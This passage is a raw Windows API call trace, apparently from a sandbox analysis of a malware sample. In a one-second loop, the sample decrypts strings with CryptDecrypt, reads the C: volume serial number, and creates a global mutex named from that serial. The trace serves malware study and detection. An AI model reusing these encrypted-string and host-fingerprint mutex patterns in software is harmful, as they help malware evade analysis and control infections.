Flags=0x0, Size=0x1e) returned 0x23a4ea0 [0145.954] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a4ec8 [0145.954] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x836de0) returned 1 [0145.954] CryptSetKeyParam (hKey=0x836de0, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0145.958] CryptDecrypt (in: hKey=0x836de0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4ec8, pdwDataLen=0xc0fcc0 | out: pbData=0x23a4ec8, pdwDataLen=0xc0fcc0) returned 1 [0145.958] CryptDestroyKey (hKey=0x836de0) returned 1 [0145.958] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4ec8 | out: hHeap=0x23a0000) returned 1 [0145.958] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a4e78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0145.958] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4ea0 | out: hHeap=0x23a0000) returned 1 [0145.958] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e50 | out: hHeap=0x23a0000) returned 1 [0145.958] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0145.958] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e78 | out: hHeap=0x23a0000) returned 1 [0145.958] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a4e50 [0145.959] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x836ba0) returned 1 [0145.959] CryptSetKeyParam (hKey=0x836ba0, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0145.959] CryptDecrypt (in: hKey=0x836ba0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e50, pdwDataLen=0xc0fd1c | out: pbData=0x23a4e50, pdwDataLen=0xc0fd1c) returned 1 [0145.959] CryptDestroyKey (hKey=0x836ba0) returned 1 [0145.959] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a4e98 [0145.959] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0145.959] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x490 [0145.959] WaitForSingleObject (hHandle=0x490, dwMilliseconds=0x0) returned 0x0 [0145.959] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e50 | out: hHeap=0x23a0000) returned 1 [0145.959] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e98 | out: hHeap=0x23a0000) returned 1 [0145.960] ReleaseMutex (hMutex=0x490) returned 1 [0145.960] CloseHandle (hObject=0x490) returned 1 [0145.960] Sleep (dwMilliseconds=0x3e8) [0147.000] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a13f0 [0147.000] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x836da0) returned 1 [0147.000] CryptSetKeyParam (hKey=0x836da0, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0147.000] CryptDecrypt (in: hKey=0x836da0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a13f0, pdwDataLen=0xc0fce8 | out: pbData=0x23a13f0, pdwDataLen=0xc0fce8) returned 1 [0147.000] CryptDestroyKey (hKey=0x836da0) returned 1 [0147.000] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a14f8 [0147.000] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a1520 [0147.000] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a7fd8 [0147.000] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x8366e0) returned 1 [0147.000] CryptSetKeyParam (hKey=0x8366e0, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0147.000] CryptDecrypt (in: hKey=0x8366e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a7fd8, pdwDataLen=0xc0fcc0 | out: pbData=0x23a7fd8, pdwDataLen=0xc0fcc0) returned 1 [0147.000] CryptDestroyKey (hKey=0x8366e0) returned 1 [0147.000] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a7fd8 | out: hHeap=0x23a0000) returned 1 [0147.000] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a14f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0147.000] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0147.000] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a13f0 | out: hHeap=0x23a0000) returned 1 [0147.000] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.001] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a14f8 | out: hHeap=0x23a0000) returned 1 [0147.001] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a14f8 [0147.001] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x836da0) returned 1 [0147.001] CryptSetKeyParam (hKey=0x836da0, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0147.001] CryptDecrypt (in: hKey=0x836da0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a14f8, pdwDataLen=0xc0fd1c | out: pbData=0x23a14f8, pdwDataLen=0xc0fd1c) returned 1 [0147.001] CryptDestroyKey (hKey=0x836da0) returned 1 [0147.001] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a12a0 [0147.001] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0147.001] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x4a0 [0147.001] WaitForSingleObject (hHandle=0x4a0, dwMilliseconds=0x0) returned 0x0 [0147.001] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a14f8 | out: hHeap=0x23a0000) returned 1 [0147.001] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0147.001] ReleaseMutex (hMutex=0x4a0) returned 1 [0147.001] CloseHandle (hObject=0x4a0) returned 1 [0147.001] Sleep (dwMilliseconds=0x3e8) [0148.259] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23ac068 [0148.259] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x895178) returned 1 [0148.259] CryptSetKeyParam (hKey=0x895178, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0148.260] CryptDecrypt (in: hKey=0x895178, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0xc0fce8 | out: pbData=0x23ac068, pdwDataLen=0xc0fce8) returned 1 [0148.260] CryptDestroyKey (hKey=0x895178) returned 1 [0148.260] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23ac090 [0148.260] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23ac0b8 [0148.260] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23ac0e0 [0148.260] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x895178) returned 1 [0148.260] CryptSetKeyParam (hKey=0x895178, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0148.260] CryptDecrypt (in: hKey=0x895178, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac0e0, pdwDataLen=0xc0fcc0 | out: pbData=0x23ac0e0, pdwDataLen=0xc0fcc0) returned 1 [0148.260] CryptDestroyKey (hKey=0x895178) returned 1 [0148.260] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0e0 | out: hHeap=0x23a0000) returned 1 [0148.260] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23ac090, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0148.260] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0b8 | out: hHeap=0x23a0000) returned 1 [0148.260] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0148.260] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0148.261] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac090 | out: hHeap=0x23a0000) returned 1 [0148.261] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23ac068 [0148.261] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x895338) returned 1 [0148.261] CryptSetKeyParam (hKey=0x895338, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0148.261] CryptDecrypt (in: hKey=0x895338, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0xc0fd1c | out: pbData=0x23ac068, pdwDataLen=0xc0fd1c) returned 1 [0148.261] CryptDestroyKey (hKey=0x895338) returned 1 [0148.261] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23ac0b0 [0148.261] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0148.261] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x584 [0148.261] WaitForSingleObject (hHandle=0x584, dwMilliseconds=0x0) returned 0x0 [0148.261] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0148.261] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0b0 | out: hHeap=0x23a0000) returned 1 [0148.261] ReleaseMutex (hMutex=0x584) returned 1 [0148.261] CloseHandle (hObject=0x584) returned 1 [0148.261] Sleep (dwMilliseconds=0x3e8) [0149.301] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23ac068 [0149.301] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x895338) returned 1 [0149.301] CryptSetKeyParam (hKey=0x895338, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0149.301] CryptDecrypt (in: hKey=0x895338, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0xc0fce8 | out: pbData=0x23ac068, pdwDataLen=0xc0fce8) returned 1 [0149.301] CryptDestroyKey (hKey=0x895338) returned 1 [0149.301] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23ac090 [0149.301] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23ac0b8 [0149.302] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23ac0e0 [0149.302] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x894fb8) returned 1 [0149.302] CryptSetKeyParam (hKey=0x894fb8, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0149.302] CryptDecrypt (in: hKey=0x894fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac0e0, pdwDataLen=0xc0fcc0 | out: pbData=0x23ac0e0, pdwDataLen=0xc0fcc0) returned 1 [0149.302] CryptDestroyKey (hKey=0x894fb8) returned 1 [0149.302] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0e0 | out: hHeap=0x23a0000) returned 1 [0149.302] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23ac090, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0149.302] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0b8 | out: hHeap=0x23a0000) returned 1 [0149.302] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0149.302] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0149.302] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac090 | out: hHeap=0x23a0000) returned 1 [0149.302] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23ac068 [0149.302] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x895478) returned 1 [0149.302] CryptSetKeyParam (hKey=0x895478, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0149.302] CryptDecrypt (in: hKey=0x895478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0xc0fd1c | out: pbData=0x23ac068, pdwDataLen=0xc0fd1c) returned 1 [0149.302] CryptDestroyKey (hKey=0x895478) returned 1 [0149.302] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23ac0b0 [0149.302] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0149.303] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x580 [0149.303] WaitForSingleObject (hHandle=0x580, dwMilliseconds=0x0) returned 0x0 [0149.303] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0149.303] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0b0 | out: hHeap=0x23a0000) returned 1 [0149.303] ReleaseMutex (hMutex=0x580) returned 1 [0149.303] CloseHandle (hObject=0x580) returned 1 [0149.303] Sleep (dwMilliseconds=0x3e8) [0150.428] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23ac068 [0150.428] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x895478) returned 1 [0150.428] CryptSetKeyParam (hKey=0x895478, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0150.428] CryptDecrypt (in: hKey=0x895478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0xc0fce8 | out: pbData=0x23ac068, pdwDataLen=0xc0fce8) returned 1 [0150.428] CryptDestroyKey (hKey=0x895478) returned 1 [0150.428] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23ac090 [0150.428] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23ac0b8 [0150.428] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23ac0e0 [0150.428] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x8951f8) returned 1 [0150.428] CryptSetKeyParam (hKey=0x8951f8, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0150.429] CryptDecrypt (in: hKey=0x8951f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac0e0, pdwDataLen=0xc0fcc0 | out: pbData=0x23ac0e0, pdwDataLen=0xc0fcc0) returned 1 [0150.429] CryptDestroyKey (hKey=0x8951f8) returned 1 [0150.429] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0e0 | out: hHeap=0x23a0000) returned 1 [0150.429] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23ac090, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0150.429] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0b8 | out: hHeap=0x23a0000) returned 1 [0150.429] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0150.429] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0150.430] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac090 | out: hHeap=0x23a0000) returned 1 [0150.430] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23ac068 [0150.430] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x894fb8) returned 1 [0150.430] CryptSetKeyParam (hKey=0x894fb8, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0150.430] CryptDecrypt (in: hKey=0x894fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0xc0fd1c | out: pbData=0x23ac068, pdwDataLen=0xc0fd1c) returned 1 [0150.430] CryptDestroyKey (hKey=0x894fb8) returned 1 [0150.430] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23ac0b0 [0150.430] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0150.430] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x564 [0150.430] WaitForSingleObject (hHandle=0x564, dwMilliseconds=0x0) returned 0x0 [0150.430] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0150.431] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0b0 | out: hHeap=0x23a0000) returned 1 [0150.431] ReleaseMutex (hMutex=0x564) returned 1 [0150.431] CloseHandle (hObject=0x564) returned 1 [0150.431] Sleep (dwMilliseconds=0x3e8) [0151.497] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23ac068 [0151.498] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x894f38) returned 1 [0151.498] CryptSetKeyParam (hKey=0x894f38, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0151.498] CryptDecrypt (in: hKey=0x894f38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0xc0fce8 | out: pbData=0x23ac068, pdwDataLen=0xc0fce8) returned 1 [0151.498] CryptDestroyKey (hKey=0x894f38) returned 1 [0151.498] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23ac090 [0151.498] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23ac0b8 [0151.498] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23ac0e0 [0151.498] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x895478) returned 1 [0151.498] CryptSetKeyParam (hKey=0x895478, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0151.498] CryptDecrypt (in: hKey=0x895478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac0e0, pdwDataLen=0xc0fcc0 | out: pbData=0x23ac0e0, pdwDataLen=0xc0fcc0) returned 1 [0151.498] CryptDestroyKey (hKey=0x895478) returned 1 [0151.498] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0e0 | out: hHeap=0x23a0000) returned 1 [0151.498] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23ac090, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0151.498] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0b8 | out: hHeap=0x23a0000) returned 1 [0151.498] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0151.498] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.498] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac090 | out: hHeap=0x23a0000) returned 1 [0151.498] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23ac068 [0151.499] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x895138) returned 1 [0151.499] CryptSetKeyParam (hKey=0x895138, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0151.499] CryptDecrypt (in: hKey=0x895138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0xc0fd1c | out: pbData=0x23ac068, pdwDataLen=0xc0fd1c) returned 1 [0151.499] CryptDestroyKey (hKey=0x895138) returned 1 [0151.499] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23ac0b0 [0151.499] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0151.499] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x564 [0151.499] WaitForSingleObject (hHandle=0x564, dwMilliseconds=0x0) returned 0x0 [0151.499] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0151.499] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0b0 | out: hHeap=0x23a0000) returned 1 [0151.499] ReleaseMutex (hMutex=0x564) returned 1 [0151.499] CloseHandle (hObject=0x564) returned 1 [0151.499] Sleep (dwMilliseconds=0x3e8) [0152.594] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23ac068 [0152.594] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x8951b8) returned 1 [0152.594] CryptSetKeyParam (hKey=0x8951b8, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0152.594] CryptDecrypt (in: hKey=0x8951b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0xc0fce8 | out: pbData=0x23ac068, pdwDataLen=0xc0fce8) returned 1 [0152.594] CryptDestroyKey (hKey=0x8951b8) returned 1 [0152.594] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23ac090 [0152.594] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23ac0b8 [0152.594] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23ac0e0 [0152.648] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x895178) returned 1 [0152.648] CryptSetKeyParam (hKey=0x895178, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0152.648] CryptDecrypt (in: hKey=0x895178, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac0e0, pdwDataLen=0xc0fcc0 | out: pbData=0x23ac0e0, pdwDataLen=0xc0fcc0) returned 1 [0152.648] CryptDestroyKey (hKey=0x895178) returned 1 [0152.648] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0e0 | out: hHeap=0x23a0000) returned 1 [0152.648] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23ac090, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0152.648] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0b8 | out: hHeap=0x23a0000) returned 1 [0152.648] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0152.648] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0152.649] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac090 | out: hHeap=0x23a0000) returned 1 [0152.649] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23ac068 [0152.649] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x895238) returned 1 [0152.649] CryptSetKeyParam (hKey=0x895238, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 